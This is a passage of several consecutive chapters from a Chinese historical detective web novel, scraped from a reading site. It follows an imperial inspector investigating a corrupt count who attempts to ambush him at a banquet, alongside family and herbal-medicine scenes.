他现在最大的弱点就是体力不济,即便是他有过人的习武天赋,体能训练没跟上,再厉害的步伐与剑法他都没办法长时间使用。 若是被那人拖入持久战,他也不知道自己能不能活着出来。 那黑影没身法,只是仗着自己体魄还有多年驯化出来的临场反应与他硬抗。 那人也不喜欢动,那是行军打仗之人的习惯——尽可能的节省体力。 诡诈的江湖剑与实打实的军队刀,到底是两个路数。 所以如果双方都有杀心,拼死一战,还不知道谁能活到最后。 凌芷交代膳房煎药,又跑回来给凌信上药。 她已经好久没见过凌信了,见到他第一眼他就跑了去救人。第二眼的时候他就带着伤回来了。 凌芷坐在凌信身边鼓着嘴,一脸不高兴。 “怎么了?” 凌信看她不高兴,用手戳了戳她的小胖脸。 凌芷也不躲,老老实实挨戳,低声回:“没。” “我自小习武身上经常带伤,早都习惯了。你不必这样。”凌信说着还要给她看胳膊上之前在许都校场跟人过招时,不小心留下的枪痕。 “哥哥,”凌芷把药粉小心翼翼地倒在凌信的手掌上,“你每天都在干这么危险的事吗?” “哪有天天,”凌信按了按凌芷的头,“最近你言哥哥不是来沁春城巡查吗?这里有古怪,有人心虚,事就多了些。” 凌芷还是鼓着脸,一脸不放心。 为了让凌芷放心,他故意说:“陛下给了我一千御林军呢!若不是救时均白,我哪用得着自己出手啊。” “那言哥哥那里也是这么危险吗?”凌芷抬头,认真地盯着凌信。 “他……”凌信想了想,“这些年武功也没落下,而且他心思比我多,出招比我狡诈,我跟他打,不认真也容易输。你不用操心他。” 凌芷想也是,她的言哥哥那么聪明,怎么可能有事。 要有事也是别人有事。 凌芷帮凌信上完药,给他手上缠了几圈纱布,说什么都要让他喝一碗药再走。 凌信拗不过她,只能被她跟牵小狗一样,牵到膳房去喝药。 凌信吹着药,看着凌芷从兜里摸出个什么东西,递过来。 “这是给你跟言哥哥的。”凌芷把东西塞进凌信手里。 凌信翻开看,只两颗红色的野果子。 凌芷自己喜欢吃这个,就把这果子带下山来。 凌信打趣她:“就两颗啊?” 凌芷鼓着嘴,说:“我从山上下来,带了一包的。可是这果子太好吃了,我没忍住,就吃得只剩三颗了。舞姐姐现在受伤,没心情吃好吃的,我就帮她把她的也吃了。就剩下两个是给哥哥还有言哥哥的。我已经很努力不偷吃了,你快拿走吧,免得我哪天嘴馋,就给吃没了。” 凌信笑出声,把果子塞给凌芷:“哥哥不要你的东西,你自己吃。” 凌芷想了想,又拿了一颗给凌信:“哥哥不吃就不吃吧,言哥哥的要帮我带过去。” 死丫头片子! 收他的果子,倒是收得挺快。 凌信笑眯眯道:“你不会不知道你言哥哥不喜欢吃酸的东西吧?这玩意也就你喜欢吃。” 凌芷不解地看凌信:“不会啊,娘亲说,言哥哥小时候可喜欢吃这个了。经常带我去摘这个给我吃呢?” 凌芷说的是北寰言五岁之前还在暮云峰上住的时候的事。 自北寰言五岁下山以后,就很少回暮云峰了。 南境与许都相隔千里,来回需要数月,回一趟暮云峰不容易。 北寰言早些年在许都学习,没办法耽搁数月赶路,后来长大了,功课紧张,便有好久没回了。 倒是北寰舞隔三差五从许都跑回暮云峰,与父母在一起的时间比北寰言长得多。 北寰言父亲,许安归本身对北寰言入许都这事心有芥蒂,一直在生北寰言的气。因为当时许安归问北寰言要不要去许都的时候,是五岁的北寰言自己说要去的。 北寰言下山的时候,跪在屋前规规矩矩地磕了三个头。 所有人都送北寰言下山,只有许安归闭门不出。 这些年,北寰言只能从娘亲给他写的信,和北寰舞的口中得知自己爹爹的近况。 他曾经问过北寰言,后悔入许都吗? 北寰言回答说:“我入许都,能让陛下对父亲母亲放心,那我就不后悔。” 这便是他入许都的理由了。 他回答这个问题的时候,眼中毫无波澜。 北寰言早慧,很多事,他自小就明白。 哪怕这么做,会惹恼了自己的父亲,他也无所畏惧。 所以,那会儿凌芷小,北寰言老带着凌芷去摘这果子,只是因为他看出来凌芷喜欢吃这果子,并非是他喜欢吃。 自己妹妹惦记着自己兄弟比惦记他多,凌信心里真是五味杂陈。 这感觉像是自己这么多年心疼了一个白眼狼,又像是妹妹很早之前就被人骗走,心里不爽。 凌信收下果子,一口把药喝了,交代凌芷给屋里那俩个不省事的煎几天嗜睡的药,便匆匆走了。 * 回到官驿,进屋才发觉北寰言还没休息。 他披着外衣,坐在矮桌前,翻着册子。 他不睡,景雀就不睡。一直在边上候着。 凌信回来,身上沾了脏污。 景雀立即着人去打水,给凌信沐浴。 北寰言抬眸,看见凌信有些狼狈,不禁蹙起眉。 凌信故作轻松,走到他桌前,把凌芷给他带的果子,放在桌上:“我那小白眼狼妹妹给你的。” 北寰言看他手上缠了纱布,问:“手怎么回事?” 凌信挠挠头:“追时均白进雏凤楼隔壁的院子,跟里面人过了几招。就成这样了。” “严重吗?”北寰言当即站起身,要去看凌信的手。 凌信连忙让开,摆手让他坐下:“没事没事,就是擦伤。我的本事你还不知道吗?哪能这么轻易就受伤了。不过我跟你说,守护院子的那人真了不得,确实是战场上杀人的刀。” 北寰言坐回去,若有所思:“时均白很在意那院子?” “昂,”凌信咬着下 30. 虎穴 《盛世山河(探案)》全本免费阅读 “可……”纵尚犹疑片刻道,“万一他们这些银子,不是走的银号,而是黑市呢?” 北寰言垂眸:“大人只需查便是。” 纵尚立即带人要去查与雏凤楼交好的银号。 北寰言喊住纵尚:“纵大人,即便是事情棘手,也应该先顾好自己的身子。这事一时半会儿完不了,大人把这件事交代下去以后,就回去歇一天吧。义庄女尸认领,查银号的事,都需要时间。急不得。” 纵尚连连点头,带人走了。 北寰言踱了几步,看见凌信从外面回来。 “围住了。”凌信跑过来拿起桌上的茶就喝了一大口,“需要我带人进去查什么吗?” 北寰言摇头:“围住了就行,先不动那里,那水龙队在那里已经清查了好几日了,若是真的有什么也应该被清走了。眼下有个事需要你帮我去办。” “嗯?”凌信放下茶盏。 北寰言走到案牍前,拿起笔写信:“这两封信,一封你帮我交给毕公。一封你帮我带给藏息阁的暗桩。” “毕公是谁?” 凌信走过去,看着北寰言写信。 写完以后,北寰言手上沾了一点茶水,在桌上写下“黄金台”这三个字。 凌信想了想道:“赌坊?” 他立即反应过来,压低了声音问:“黑市?” 北寰言点头:“你只需把这信交给毕公,其他的事,他自会去查。” 凌信把信接过来,塞进怀里。 “哦,对了,”凌信走之前,似是想起什么,“我看护城河里水又满了。应该是上游起闸了。你让人去开闸的?” 北寰言睨了他一眼,没说话,继续低头看找册子看。 凌信已经习惯了他有问不答。 自顾自走了。 北寰言看了几日,终于看到了他想看的册子。 《奇工要术》。 他拿起那册子,翻开看,上面记载了从永延元年到永延十五年沁春城所有工部批复的大型新修水木的项目。 护城河上游那水闸是—— 永延三年建的。 北寰言卷起那册子,转身出了府衙,骑马回官驿。 自从上次北寰言亲自动手,跟着他两个人死于自裁之后,他身边似乎就没有人跟着了。 凌信确认过很多次,无论他们去哪,身后都没人了。 所以昨夜凌信才能回宁府。 大约那些人也清楚若是北寰言与凌信铁了心想摆脱跟踪,他们也无可奈何,便把入城以后小尾巴给撤了。 北寰言骑马,也就是一盏茶的功夫,就从府衙回了官驿。 他赶时间,不想走回来。 景雀在屋里给北寰言熨烫衣服,外面有小内官传言公子回来,景雀连忙去门口接。 北寰言带着景雀往屋里走,进屋合门,转身把手上的册子递给景雀问:“景叔对这个可有印象?” 景雀接过来,看了一眼,回想着当时朝堂上的情况,缓缓道:“陛下继位第三年,南境暴雨,发了水,淹了几个县。工部上奏请求在南境新修堤坝,陛下准了。具体的事,都是工部操持的,这册子上记载的水闸跟那次暴雨后请奏时间差不多。都在同一年……我想公子问的应该是那件事。” “即是修建堤坝,也应该在河里,为什么护城河里也修了水闸?”北寰言蹙眉,“修了水闸,水大的时候也放不下来,修得何用?” 景雀想了想,道:“公子现在不是拿着南境巡察使的权力吗?这事,公子可以召集工部南境五州的水部郎中前来问话。” 北寰言仰头。 这一问或许就打草惊蛇了。 水闸、河道……那院子,从地理上来说,在一条直线上。 三者之间有什么联系? 时均白三番五次去查那院子,到底在院子里发现了什么? 北寰言想了许久,终于轻叹一声道:“这事,我还没头绪。只是觉得奇怪,还需要更多别的事情来佐证这事有问题。招水部郎中来问话这事,先放一放吧。” 景雀颔首不言。 当务之急,是要验证开国伯其山是雏凤楼背后的主子。 只要能查到雏凤楼赚的钱最后流向,就能弄清楚雪娘说的是不是真的。 那名单上的官员,若真的参与了这些事,必定有迹可循。 那些姑娘必须死,是因为她们伺候过恩客里面确实有位高权重者。 死人的嘴是最牢靠的。 其山一介布衣因为南泽战功一步蹬爵,已是最高嘉奖,封无可封。 他用雏凤楼笼络这些朝廷官员,目的为何? 北寰言目光微沉,看来明天开国伯府的宴请,或许能弄明白一些其中的缘由。 但有备无患最好。 “我明天要去开国伯府。”北寰言道,“有劳景叔帮我准备准备了。” 景雀点头:“明日公子要去其山府上,应该是要带点礼的。” * 开国伯其山的府邸建在沁春城南城。 几乎是守在了南城城门口。 这地方是后来沁春城扩建出去,陛下钦点给其山的土地建宅子。 因靠着城门,也不是闹市区,过了中央大街以后,这边就变得冷清了下来。 太远的路,北寰言不想骑马。 骑马分神,他想坐马车的时候,想想最近发生的事。 凌信手受伤了,也没法赶马车。只能跟着北寰言一起坐马车。 景雀从身边找了一个会赶车的小内官,赶车带着北寰言往开国伯其山的府邸前行。 景雀总觉得最近沁春城太乱,又让冷威带十几个人跟着护卫。 北寰言一向不在意这些细枝末节的事,有人安排了,他便从善如流,受着就好。 赴宴时间,在申时。 傍晚时分,天边红灿一片。马车晃晃悠悠地往南城走, 北寰言下午回馆驿换了一身自己习惯穿的对襟长袍,月牙白的内里,外面套了一件碧色纱衣,他没束发,只是用一根碧色的绳子把多余的头发懒懒地系在后面。 他换下圆领衫,换回自己的衣裳,衣衫散漫,眉眼妖灼。 他端坐着,双手拢在衣袖里,闭着眼,似是在想事。 凌信则是靠向窗户,看着外面一晃而过的景。 过了中央大街 31. 冷眼 《盛世山河(探案)》全本免费阅读 其山见他如此客道,大笑着,道:“哎,言公子这话说得不对,当年我与你父亲一起驰骋南泽,算是兄弟。你可以唤我一声叔父!” 北寰言抬眸,望着他,轻声道:“开国伯这话,不要再说了罢。我本姓许,若我唤您一声叔父……” 这话不用北寰言往下说,都知道其山有多么不知好歹。 北寰言虽然不姓许,可他依然称呼皇族许姓皇子亲王为叔父。 若他唤了其山叔父,那不就意味着其山可以与皇族许姓相提并论? 这是僭越。 是大不敬。 其山见自己说错了话,当即拍了一下自己嘴,油滑道:“瞧我这张破嘴。言公子深明大义,知道我出自市井,上不得台面……” 北寰言睨了他一眼,直直走过:“即便再上不了台面,你也是陛下亲封的爵位。既食我皇家米,便要做好皇家人。这次看在父亲的面上,这话我当做没听见。往后,请开国伯,谨言慎行。” 北寰言没停,直直入了府。 凌信跟在后面,把礼给了开国伯府的小厮,跟着北寰言入了府。 其山方才一脸嬉笑玩乐的模样,瞬间收敛,他回眸盯着北寰言矮小的身躯,暗暗骂了一句:“黄口小儿,给脸不要脸!” 凌信跟在后面,打趣北寰言:“头一回见你搬出自己姓氏压人。” “其山跟我套近乎,无非就是想我法外开恩。这几日事都于他脱不了干系,他若心里没鬼何必请我?”北寰言一边走一边道,“他与我父亲有交情,又不是与我有交情。我何必与他客气。” “你这是大义灭亲?”凌信负手溜溜达达地跟在北寰言后面。 “当年朝东门,那些军门都是开国元老,也因为行为乖张,落得那般下场。”北寰言眉宇微蹙,“这才过了多久?其山又敢重蹈覆辙。” 凌信不再问了。 北寰言外祖父一家因为朝东门,几乎惨遭灭门。 他母亲如何替所有军门之后谋得长久,还历历在目。 不过数年,就有人重走那些军门之路。 还企图以北寰言父亲情谊托大,这让他如何不气愤? 其山府邸占地极大,一点都不比宁府小。 只是他装潢的东西太过肤浅,尽显奢华,让人看得生厌。 北寰言不擅长应付这种酒席,若不是雪娘在府衙告了其山一状,他今日也不会来赴宴。 “给。” 凌信悄咪咪塞给北寰言一个药丸。 北寰言接过来,看着他。 凌信低声解释:“我方才过其山女儿身边,她身上熏得有催情的香味。这个药丸,解那一类东西。但有句话我说在前面,你不可饮酒。酒后乱性,这药可不管。” 北寰言蹙眉,把药塞进嘴里。 凌信自己也吃了一颗。 进入花园,就有小厮前来引路。 北寰言递给那小厮请帖,小厮立即把北寰言引入席间。 主座左手下方第一个。 上宾位。 凌信一边跟着北寰言坐下,一边嘀咕:“其山这下九流的手法,在许都也是少见。怎的这边流行干那种龌龊事?” 北寰言不语。 凌信在一边帮北寰言把所有的酒菜瓜果都试了一遍说没问题。北寰言才拿起茶盏,轻轻茗了一口。 到席诸位坐下,皆是往北寰言这里看。 北寰言无论是长相还是位置在这里都太显眼,众人目光落在他们席间,弄得凌信都不好意思跟他坐一起接受审视的目光。 北寰言则是抬眸,一一扫视过去。 所有人看见北寰言目光触及,都纷纷起身,远远地向他行礼。 北寰言点头,但不回礼。 说明他今日,是带着皇家世子身份来的。 无论他世子身份,还是他南境巡察使的身份,在场没人比他的品级更大。 凌信在一边看着,觉得有意思。 在许都,北寰言从来都没有在外面刻意强调过自己的身份,对人也是礼遇严谨。 这出了许都,倒是处处端着身份。 不懂他想干什么。 良久,其山才带着自己女儿入席。 天色渐晚,这席宴之上,掌起彩灯,把整个席面照得灯火通明。 其山说了些场面话,宴席正式开始。 今日这席面请得大,好似沁春城大小官员,各部官员,以及新晋的举子,城里有名的商贾皆在宴请的名单里。 席面叫了妓子来助兴。 这些妓子都是沁春城里有名的才女。 或擅长诗书,或擅琴舞,或舞刀弄剑,或姿色媚人。 各席都安排了妓子,只有北寰言这桌,没有作陪。 北寰言坐在主人家席下淡然喝茶,吃菜。 其山给女儿一个眼神,那女子就端着一杯酒,款款向着北寰言桌子来。 那女子跪坐下,笑容轻甜:“小女名唤其雪莲,想请公子吃一杯酒。” 北寰言淡淡地望向她,只见这女子打扮得秀雅,不似席间妓子那般放浪。 “我年幼,陛下不许我吃酒。”北寰言淡然道,“在宫宴上,也只许我喝茶。陛下不许,我便不能做。抱歉。” 其雪莲见北寰言不喝酒,立即放下酒杯,换了一盏茶来:“那以茶代酒,小女敬公子一杯!” 北寰言盯着其雪莲手中的茶盏好一会儿,才接过来,一口喝下:“多谢。” 其雪莲见北寰言吃了她的茶,眉眼处瞬间就生出几分魅色,她软软地说:“听闻公子是东陵最年轻的状元,我爹爹出身草莽,家里没有人有功名。我自小向往公子这样的人……” 说着其雪莲的手,便要搭上北寰言的胳膊。 北寰言蹙眉,不动声色撩起衣袖,去夹远处的菜,避开了其雪莲的手。 凌信在一边看得直乐。 其雪莲见一招不成,又生一计:“我近日里也在读《论语》,有好些不理解的地方。言公子这般好的学识,可否指点小女一二?” 北寰言垂眸:“女子无才便是德。” 其雪莲:“……” 凌信忍不了了,侧过头去偷笑。 其山见其雪莲撬不动北寰言,当即给身边侍女使眼色。 侍女缓步过去,对其雪莲说:“小姐,琴准备好了。” 其雪莲当即羞涩,媚眼看了一眼北寰言:“小女献丑了。” 北寰言唇线紧抿。 其雪莲当即起身,去准备献琴,助兴。 其雪莲一走,凌信就 32. 伏杀 《盛世山河(探案)》全本免费阅读 凌信在一边听着,这倒是实话,北寰言在许都,从不赴私宴席。 北寰言这话里话外的意思何其明显——你这儿,我是给我爹面子来赴宴的,来了就算是面子给到了。 可其山明显不这么想,但他能听出北寰言还是很敬重他父亲的,不然今日他再怎么不想来却还是来了? 其山苦笑一声,缓缓踱到北寰言身边:“当年我被囚于北境去灵山上,使安王殿下损失了三千精骑,独自杀上去灵山,救我于水火之中。我其老四感恩戴德。” 北寰言眉宇微蹙。 “而今我承殿下恩泽,封伯爵,食君禄。见公子来,不过就是想与公子叙叙旧。”其山一脸落寞之相,“看样子,今日是我高攀了。” 凌信在一边腹诽,确实。 其山说得动情动理,搬出与北寰言父亲情分说事,让北寰言非常不爽。 三元及第是他自己寒窗苦学得来,而今被陛下钦点南境巡察使也是皇族身份使然。 不知道他得的这些跟他其山有什么关系,让他在这里倚老卖老,惹人厌烦。 北寰言望着其山许久,道:“我父亲这些年一直在暮云峰住着。与沁春城不过百里。开国伯即是这么一个念旧情之人,为何封侯之后,却从未踏足过暮云峰拜过我父亲?” 其山哑口。 北寰言又道:“今日,若不是我在沁春城查出点什么,亦或者开国伯怕我查出点什么,恐怕我也拿不到这请帖,也进不了这开国伯府的大门吧?” 其山额头上青筋起爆。 北寰言继续道:“要想人不知除非己莫为。你与其事后在这里找补,不如眼光放长远些,从一开始就不要沾这一茬。即使做了,又何苦在这里跟我絮叨与我父亲战友情,妄图想让我看在我父亲的面上放你一马?” 其山胸口起伏的厉害,胸腔里撇着一股气。 “我对当年南泽归降这件事的理解是——当年即便不找你其老四来做这南泽细作,洞开城门。我父亲也会找别人来完成这件事。” 北寰言眸光微敛,颔首凝望他:“而你不过就是运气到了,被我父亲看上了,担了这次职责,这才有了后来的荣华富贵。即是运气到了,就应该心悦诚服地接下,安守本分的做人,而不是在这里一副假惺惺面孔,来与我说当年你与我父亲是什么情分!” “北寰言!”其山终于忍不了,大声呵斥,“你不要敬酒不吃吃罚酒!” 北寰言毫无畏惧地回望他:“我就是不吃你给敬酒,你又当如何?!你敢在这里将我就地伏杀了吗?!” 话音刚落,立即从周围院子里涌出一群护院把北寰言与凌信团团围住,少说有五十多号人。 凌信抱着手,满脸戏虐地扫了一圈。 其山冷声道:“你当我不敢?!” 北寰言站定了身子,微微后仰,抬起下巴,脸颊镀上了一层寒意:“你区区一个四品开国伯,是谁给你的胆子,敢伏杀陛下亲封的南境巡察使?!” “我的地界,想杀就杀了,还用得着跟你废话!”其山也不端着了,原形毕露。 山高皇帝远,他就不信远在千里之外的许景挚还能管到南境沁春城。 北寰言冷声质问:“这么说,你承认雏凤楼是你的产业,你承认用雏凤楼以美色幼女贿赂南境五州官员,拉拢他们结成势力,为你所用了!?” 其山一挥手,示意所有人上前,恶狠狠道:“今日你能活着离开这里,才能以贿赂的名义定我的罪!” 北寰言静静地望着他:“当年你也是跟着我父亲收南泽的将领,为何会变成今日这般贪得无厌的嘴脸?” 其山根本就没想跟北寰言废话,他后退几步,直接给府兵一个眼神,让他们动手! 就在他们要提刀砍来的时候,开国伯府外有整齐划一脚步声,带着地动山摇的气势,急速奔来。 只见景雀身着大红色内官官服,手上拿着拂尘,提着衣角,从门外跨进来,立于大门台阶之上,有风带起他的官服拂尘,周围火把把他身后照得通明。 景雀精致的脸藏匿在火把照出来阴暗下,只有带着微光的眼眸出于阴影,睨着院子里的一切。 他站在高处,只是岿然不动的样子,便显得格外威严。 御林军手上拿着神机驽,一步一步从府门口逼近。 冷威大喝一声:“开国伯府已经被御林军神机营尽数包围,不想死的都别动!” 冷威话音刚落,就看见开国伯府的围墙上,屋檐上皆有御林军端着弓.弩,露出头来。 御林军神机营?! 原来跟着北寰言来沁春城的是神机营? 这些御林军手上一人拿着一把神机弩。 这弩是北寰家设计,依着图纸造出来的弓.弩,可直射百步穿杨,百步之内杀伤力比弓箭强上十几倍。且箭弩弹射速度极快,一般人根本来不及反应。 只要被瞄准,那就只有被射杀的命。 这弩目前为止只有御林军神机营配了三千把。 是御林卫中最精锐的部队才能带的东西。 不曾想,许景挚直接调了一千把神机弩保护北寰言来南境! 开国伯府被围,大势已去,所有府兵都丢了武器,原地投降。 其山见大事不妙,转身要跑。 凌信早就看出他的意图,腰间一抹,亮出飘渺剑,脚下用力,直奔其山而去。 其山惊恐万分,回眸只看见一个白影一闪而过,再一转头,一把薄剑早已架在他脖颈处。 凌信歪着头挑眉问:“听不懂人话吗?早说被包围了,跑什么跑?” 当即有御林军来把其山压下。 北寰言蹙眉,不欲多留,只交代一句把这些人尽数压回府衙,便转身离开。 主人家出了变数,后院来赴宴吃酒的人自然也不敢多待。 冷威留下来主持大局,景雀转头跟着北寰言上了马车。 即便是早早在开国伯府外面埋伏好了,景雀也心有余悸。 他看向北寰言问:“公子可有哪里不舒服?” 北寰言摇头,眉宇一直拧在一起没解开过。 33. 问药 《盛世山河(探案)》全本免费阅读 “没有强抢民女、逼良为娼这一条?”北寰言没想到参他折子里没有这一条。 景雀认真想了想:“还真没有。” 奇怪…… 有些事对不上。 很多事情,跳出来都跳得太仓促了。 雪娘那边还没定案,就着急放出来一个人说雏凤楼的事。 其山这里也一样,还没查出来雏凤楼最后资金走向,也还没定案就着急要在府上拿下他…… “公子,别想了。人跟事都在那里,休息一晚也跑不掉。”景雀见他眉宇蹙得沟壑纵横山峦起伏,一脸痛苦的样子,忍不住劝道。 北寰言只觉得自己头痛欲裂,不欲多言,让景雀给他换好衣衫,就往床榻上躺去。 凌信熬好药,端进来,看见北寰言躺在床上很是痛苦,不由得心下一惊。 他把药递过去,北寰言坐起身,接过来一口闷下,又躺了会去。 凌信站在床边捏着下巴,若有所思。 景雀见凌信难得表情严肃,张口想要说什么,只见凌信转身就去了书桌前,拿起笔,认真地写着什么。 景雀见他在写东西不好打扰,只能垂眸,用手背稍稍贴了贴北寰言的额头。 满头是汗,额头却没有发热。 这是病了吗? 景雀凝眉沉思。应该不会,北寰言的身子,凌信一直跟着照顾,若是有什么事,他应该第一个知道。 凌信写好了东西,把那张纸塞进怀里,道:“我出去一下。” 便头也不回地走了。 * 宁府内,凌芷连续熬了几幅嗜睡的药。时均白与北寰舞喝了,睡觉的时间比醒着时间长。 凌芷盯着药方看了许久,总觉得这药方需要调整,却又不知道从哪里下手,踌躇的时候,一只手伸过来,把她的药方抢走了。 凌芷回头看见凌信拎着她写的药方,认真思索。 “哥哥,”凌芷不解,“为什么同样的方子,怎么舞姐姐好得就比时哥哥快呢?” “这个好理解,”凌信点了点凌芷的小鼻子,“你时哥哥在家里面经常用药,经常用药的人,本身对有一些药就有排异,你开的方子里面有一两味药他经常用,综合下来效果就不明显。你舞姐姐自小身体就好,没怎么生过病,你开什么药她吃了立即就能见效。” “是这样?”凌芷若有所思,“时哥哥天天都在吃药?怎么会有人这么惨啊,每天都要吃药……他有从娘胎里带出来的痼疾?” 凌信摇头轻叹。 凌芷还小,她不太懂家族期望在时均白面前是多么重的担子。 他给凌芷指了两味药材:“佛手、太子参这两味对时均白效果不好,你可以考虑换一个药方给他。或者用食补。” 凌芷鼓着嘴,把药方接过来,眨眨眼睛,盯着药方,一边走一边想,小嘴还嘀咕:“换个活血化瘀的方子?” “哎——”凌信见她要跑,立即追过去,揪住她的小辫子,“我话还没说完,你跑什么?” 凌芷捂着头,回头呆呆地问了一句:“什么?” “你下山带鸽子了吗?”凌信眯着眼睛问。 凌芷先开始没弄明白,后来想明白了,就扭扭捏捏地低头不说话。 “怎么?”凌信走过去,捏住凌芷的小脸,“哥哥用一下你的鸽子,你还不乐意了?” “那是师父给我的。”凌芷为难地说,“不让我给你用。” 凌信气得想吐血,那个薛老头。 同样都是收徒,不知道他为什么只想收凌芷不想收他。 说什么他在习武上花的时间太多,不适合跟他学医。 凌信就想不明白了,他早就把《黄帝内经》、《伤寒杂病论》、《神农本草经》、《难经》、《针灸甲乙经》这些医学基础论述的书背得滚瓜乱熟了,那个薛灿就是不想教他,只想教凌芷。 最后,凌信只能跟着自己娘亲学医,而凌芷则是自小跟着薛灿学的医术。 “哥哥,师父认识我的字,如果不是我写,他收到了鸽子也不会回你的。”凌芷老实巴交地说。 凌信无语,只能道:“那就你写信问那个死老头!” “可是我没什么想问的啊?”凌芷睁着黑溜溜的眼睛望着凌信。 凌信道:“这事,你必须问,有关你言哥哥的。” 凌芷一听跟北寰言有关立即拉着凌信,往自己屋里跑。 “怎么了?”凌信跟牵狗一样,被凌芷牵着。 “去写信给师父。”凌芷回道。 “嘿!”凌信狠狠地点了一下凌芷的脑袋,“你这个小白眼狼!到底谁是你亲哥?!我要你鸽子你不给,你言哥哥要用你就给?!” 凌芷一只手牵着凌信,一只手捂着自己的头,鼓着嘴老实地说:“如果哥哥得了什么疑难杂症,我肯定也会给师父写信的。” “呸呸呸!”凌信拿手按凌芷的头,“你别咒我!” “哥哥!”凌芷捂着自己脑袋,“你别按我了,我本来就长不高。你再按我就更长不高了。” “你医书都读哪去了?你长得高长不高跟我按你头有什么关系。”凌信嘴上这么说,手还是收了回来。 “那你按得我难受嘛。”凌芷没好气地瞥了一眼凌信。 “按疼了?”凌信伸手,“我给你揉揉。” 越揉凌芷头发越乱,她气得打了凌信一下:“你烦死了。” 凌信避过身去,凌芷没打招,气得又追过去打。 她哪追的上凌信啊,每次都是要摸到衣角了,人瞬间就不见了。 追了好一会儿,没追上,凌芷气鼓鼓地自己回院子了。 写信的时候,凌信说一句,凌芷写一句。 写完以后,凌芷盯着信上写的,抬头看凌信:“言哥哥是因为这几味药相冲,才头晕的吗?” 凌信摇头:“我也不知道啊,所以让你写信问问薛老头。” “那你为什么不写信问娘亲呢?”凌芷用自己的小胖手慢吞吞地把小纸条绑到信鸽的腿上。 “你傻啊?”凌信说,“娘亲知道了,不就代表洛姨知道了吗?洛姨知道了,那安王殿下就知道了呀?薛老头虽然烦人,但是他嘴巴紧啊。”< 34. 查账 《盛世山河(探案)》全本免费阅读 纵尚连忙迎出去。 北寰言点头,便往府衙后院进。 纵尚跟着不敢出声。 到了后院,北寰言才道:“昨夜我去开国伯府赴宴,其山意欲将我伏杀在府上。” 纵尚人傻了。 刺杀朝廷命官,尤其是巡察使,视同谋反。 这边证据都还没查到,其山就这么耐不住性子,想先下手为强? “纵大人。”北寰言回眸看向纵尚。 纵尚立即欠身:“言公子。” “我很好奇,昨夜开国伯府,请了南境五州许多官员,为何独独没请纵大人?”北寰言说话的时候,目光带着审视,宛若一把刀子,架在纵尚的脖子上,让他喉头一紧。 纵尚连忙道:“其实是请了的。只是最近因为河道女尸,还有查雏凤楼银子走向,连续几日都没休息。正巧昨晚回去得早,不想再出门,便着人送了礼,说改日再去。” “其山经常宴请南境五州的官员吗?”北寰言问。 纵尚想了想道:“送往我府上的请帖,也就是逢年过节多些。” “那我再问你,”北寰言回过身望向纵尚,“你可有替其山隐瞒过什么?” 这话一出,纵尚当即额头沁出一层冷汗。 北寰言见他不答,缓步走向内堂这几日他一直在用的书桌。 桌上堆满了书册。 他随手拿起一本,念道:“永延十年二月,沁春城城北渠穿坊住户刘汉来状告其山强买他家宅院。这案子最后结案是,其山付了十倍之多的价钱,最后买下了那宅子。” 北寰言又翻了一页,念:“同年五月,城北渠新坊住户来告,其山强买他家宅院。最后的案子结案亦是其山多付了十多倍价钱,买下了那宅子。” 纵尚有点站不住。 北寰言放下册子,回头看向纵尚:“这两桩案子,若没有你从中调和,怎的对方最后都同意卖了呢?” 纵尚当即跪下:“公子,下官、下官虽也去赴宴,可、可这两桩案子住户并未吃亏。以市价十倍之多拿到了房款,再买几栋差不多的宅子都绰绰有余……” “所以你觉得其山只要是给了钱,违背住户意愿,强行买下宅子这种行为是合法的?”北寰言加重了语气。 纵尚当即俯身:“公子,公子听我解释。其山他有陛下封的伯爵在身,又、又是安王殿下旧部……” 北寰言听到这,蜷在衣袖里的手微微锁紧。 “官场上,这种‘适当’的照顾……”纵尚越说心越虚,“还是可以给的……” “官官相护。”北寰言手里册子狠狠地摔在桌上,“你既是早就知道其山喜欢强买强卖,私占民宅,为何还要给他洞开方便之门?!” 纵尚心里直叫苦,暗暗腹诽,如果其山不是你父亲旧部,就他一个没有实权的伯爵位,谁肯给他这么大的方便? 大家是看在安王的面子上才对其山礼让一二,怎的到北寰言这里,就变成官官相护了? 这样才算是情理之中吧? “下官有罪。” 纵尚还能说什么呢?他们卖给安王的面子,北寰言不接。 北寰言深吸一口气,稳住自己心神,闭上眼道:“开国伯其山只这一项——想伏杀巡察使就能让他削官断爵。但他明显还是跟雏凤楼有关系。之前敲登闻鼓那女子所呈名单,十有八九也是真的。这名单上的人,我交给纵大人查,纵大人可愿意帮我查清楚?” 纵尚立即抬头,连忙道:“愿意!” 北寰言点头:“那名单上的人,就由纵大人去核实。谁替他们出的银子,银子从哪里都的,都要查清楚。” 纵尚领命起身,走了两步,又回过身来,朝着北寰言一礼:“公子,有些话,我还是想替南境五州的官员们说一句。” “你说。”北寰言望向纵尚。 纵尚道:“我们这些当官的,食君禄也不过就是那么百十两银子。若不是有这些人时不时送些孝敬,也养不起那一大家子人。” 北寰言不言。 “公子家世显赫,出身就衣食无忧。不懂民间疾苦。”纵尚道,“但我希望公子明白,并不是所有去赴宴的人,都受了其山的好处。” 北寰言颔首,目光一直落在纵尚身上似有思忖。 纵尚不知道北寰言听没听进去,抱拳不撤。 “这次南境五州官员,有多少能留在位置上,”北寰言双手拢在衣袖里,淡然道,“那就要看纵大人最后交给我的一纸调查文书。” 纵尚深吸一口气,作礼准备离开。 “我明白纵大人的意思,”北寰言垂眸,缓缓道,“大人的意思是,水至清则无鱼。可我……” 北寰言再次抬眸看向纵尚:“不认为大人是放在砧板上的鱼。” 不然,你现在也不会安然无恙地站在这里,与我说话。 纵尚望着北寰言犀利的眼神,没多做停留,快步离开。 凌信从围墙上翻下来,负手走到北寰言身后,望着纵尚离去的背影,打趣北寰言:“你这话有意思得很啊……” 北寰言侧目:“昨日宴请,沁春城百官赴宴。唯独这纵尚缺席,此人若不是大智,那便是大愚。我不信能做到沁州刺史位置的人是一个大愚之人,只能姑且把他算作大智。” “为什么就不能是凑巧他没去呢?”凌信问。 “这世上哪有那么多凑巧。”北寰言道,“他能独善其身,在那名单之外,必定有他过人之处。我倒要看看这人本事在哪。” 这么大的事交给他,他若秉公办理……说明这人,还是个聪明可用的。 凌信缓步走到北寰言身边。 “你昨夜去哪了?”北寰言问。 “没去哪,见你睡了,我就回去看看小芷他们。”凌信转身坐在椅子上,拿起一盏茶,“茶凉了……” “府上可好?”北寰言问。 “我让小芷给他们俩下了嗜睡的方子,让他们先睡上几日养伤,免得他们乱跑。”凌信盘起腿,“压了这么多人,你要自己审?” “人言不可轻信,我更愿意看证物。”北寰言说罢便往府衙外面走。 “去哪啊?”凌信跟着站起身。 “查账。” 